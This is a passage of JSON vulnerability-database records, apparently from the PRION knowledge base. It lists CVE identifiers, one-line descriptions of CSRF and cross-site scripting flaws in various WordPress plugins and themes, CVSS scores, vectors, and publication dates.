"obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-25052"], "modified": "2023-05-10T02:26:00", "id": "PRION:CVE-2023-25052", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-25052", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T13:44:49", "description": "Cross-Site Request Forgery (CSRF) vulnerability in MageNet Website Monetization by MageNet plugin <=\u00a01.0.29.1 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-07-10T16:15:00", "type": "prion", "title": "CVE-2023-22673", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-22673"], "modified": "2023-07-13T18:50:00", "id": "PRION:CVE-2023-22673", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-22673", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-15T14:19:50", "description": "Auth. (subscriber+) Stored Cross-Site Scripting (XSS) vulnerability in WP Job Portal WP Job Portal \u2013 A Complete Job Board plugin <=\u00a02.0.0 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-06-22T09:15:00", "type": "prion", "title": "CVE-2023-28534", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28534"], "modified": "2023-06-28T07:09:00", "id": "PRION:CVE-2023-28534", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-28534", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T13:59:00", "description": "Cross-Site Request Forgery (CSRF) vulnerability in Amit Agarwal Google XML Sitemap for Videos plugin <=\u00a02.6.1 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-06-15T14:15:00", "type": "prion", "title": "CVE-2023-25055", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-25055"], "modified": "2023-06-22T16:59:00", "id": "PRION:CVE-2023-25055", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-25055", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-15T23:50:33", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Branko Borilovic WSB Brands plugin <=\u00a01.1.8 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T15:15:00", "type": "prion", "title": "CVE-2022-47437", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47437"], "modified": "2023-05-11T18:29:00", "id": "PRION:CVE-2022-47437", "href": "https://kb.prio-n.com/vulnerability/CVE-2022-47437", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T23:50:35", "description": "Cross-Site Request Forgery (CSRF) vulnerability in Mathieu Chartier WordPress WP-Advanced-Search plugin <=\u00a03.3.8 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-24T17:15:00", "type": "prion", "title": "CVE-2022-47447", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47447"], "modified": "2023-05-30T17:46:00", "id": "PRION:CVE-2022-47447", "href": "https://kb.prio-n.com/vulnerability/CVE-2022-47447", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-15T14:18:24", "description": "Auth. (subscriber+) Stored Cross-Site Scripting (XSS) vulnerability in WP Chill Brilliance theme <=\u00a01.3.1 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-06-22T09:15:00", "type": "prion", "title": "CVE-2023-28171", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28171"], "modified": "2023-06-28T03:26:00", "id": "PRION:CVE-2023-28171", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-28171", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T14:07:12", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Klaviyo, Inc. Klaviyo plugin <= 3.0.7 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-23T17:15:00", "type": "prion", "title": "CVE-2023-25456", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-25456"], "modified": "2023-03-27T17:16:00", "id": "PRION:CVE-2023-25456", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-25456", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T14:07:11", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Michael Pretty (prettyboymp) CMS Press plugin <=\u00a00.2.3 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T13:15:00", "type": "prion", "title": "CVE-2023-25452", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-25452"], "modified": "2023-05-10T02:26:00", "id": "PRION:CVE-2023-25452", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-25452", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T13:49:40", "description": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Unrestricted Upload of File with Dangerous Type vulnerability in Awsm Innovations Embed Any Document \u2013 Embed PDF, Word, PowerPoint and Excel Files allows Stored XSS via upload of SVG and HTML files. This issue affects Embed Any Document \u2013 Embed PDF, Word, PowerPoint and Excel Files plugin <= 2.7.1 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-23T17:15:00", "type": "prion", "title": "CVE-2023-23707", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-23707"], "modified": "2023-03-27T17:50:00", "id": "PRION:CVE-2023-23707", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-23707", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T22:32:59", "description": "Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Squirrly SEO Plugin by Squirrly SEO plugin <=\u00a012.1.20 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T15:15:00", "type": "prion", "title": "CVE-2022-45065", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-45065"], "modified": "2023-06-07T02:42:00", "id": "PRION:CVE-2022-45065", "href": "https://kb.prio-n.com/vulnerability/CVE-2022-45065", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T23:49:51", "description": "Cross-Site Request Forgery (CSRF) vulnerability in chronoengine.Com Chronoforms plugin <=\u00a07.0.9 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-25T09:15:00", "type": "prion", "title": "CVE-2022-47135", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47135"], "modified": "2023-05-31T19:30:00", "id": "PRION:CVE-2022-47135", "href": "https://kb.prio-n.com/vulnerability/CVE-2022-47135", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-15T23:50:31", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in PB SEO Friendly Images plugin <=\u00a04.0.5 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-04T21:15:00", "type": "prion", "title": "CVE-2022-47434", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47434"], "modified": "2023-05-10T18:19:00", "id": "PRION:CVE-2022-47434", "href": "https://kb.prio-n.com/vulnerability/CVE-2022-47434", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T23:50:31", "description": "Reflected Cross-Site Scripting (XSS) vulnerability in Tussendoor internet & marketing Open RDW kenteken voertuiginformatie plugin <= 2.0.14 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-23T12:15:00", "type": "prion", "title": "CVE-2022-47431", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47431"], "modified": "2023-03-27T17:03:00", "id": "PRION:CVE-2022-47431", "href": "https://kb.prio-n.com/vulnerability/CVE-2022-47431", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T22:38:30", "description": "Auth. (subscriber+) Stored Cross-Site Scripting (XSS) vulnerability in Martin Lees Exxp plugin <=\u00a02.6.8 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T13:15:00", "type": "prion", "title": "CVE-2022-45812", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-45812"], "modified": "2023-05-10T02:25:00", "id": "PRION:CVE-2022-45812", "href": "https://kb.prio-n.com/vulnerability/CVE-2022-45812", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T14:15:59", "description": "Cross-Site Request Forgery (CSRF) vulnerability allows arbitrary file upload\u00a0in Shingo Intrepidity plugin <=\u00a01.5.1 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-06-15T14:15:00", "type": "prion", "title": "CVE-2023-27634", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-27634"], "modified": "2023-06-22T16:20:00", "id": "PRION:CVE-2023-27634", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-27634", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-15T14:18:22", "description": "Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Aakif Kadiwala Tags Cloud Manager plugin <=\u00a01.0.0 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-06-22T09:15:00", "type": "prion", "title": "CVE-2023-28166", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28166"], "modified": "2023-06-28T03:27:00", "id": "PRION:CVE-2023-28166", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-28166", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T14:19:27", "description": "Auth. (subscriber+) Reflected Cross-Site Scripting (XSS) vulnerability in Yudlee themes Mediciti Lite theme <=\u00a01.3.0 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-06-22T13:15:00", "type": "prion", "title": "CVE-2023-28418", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28418"], "modified": "2023-06-28T07:17:00", "id": "PRION:CVE-2023-28418", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-28418", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T13:51:18", "description": "Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Zestard Technologies Admin side data storage for Contact Form 7 plugin <=\u00a01.1.1 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-06-15T14:15:00", "type": "prion", "title": "CVE-2023-24420", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-24420"], "modified": "2023-06-22T16:59:00", "id": "PRION:CVE-2023-24420", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-24420", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T13:49:55", "description": "Cross-Site Request Forgery (CSRF) vulnerability in HasThemes HT Feed plugin <=\u00a01.2.7 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-07-10T16:15:00", "type": "prion", "title": "CVE-2023-23804", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, 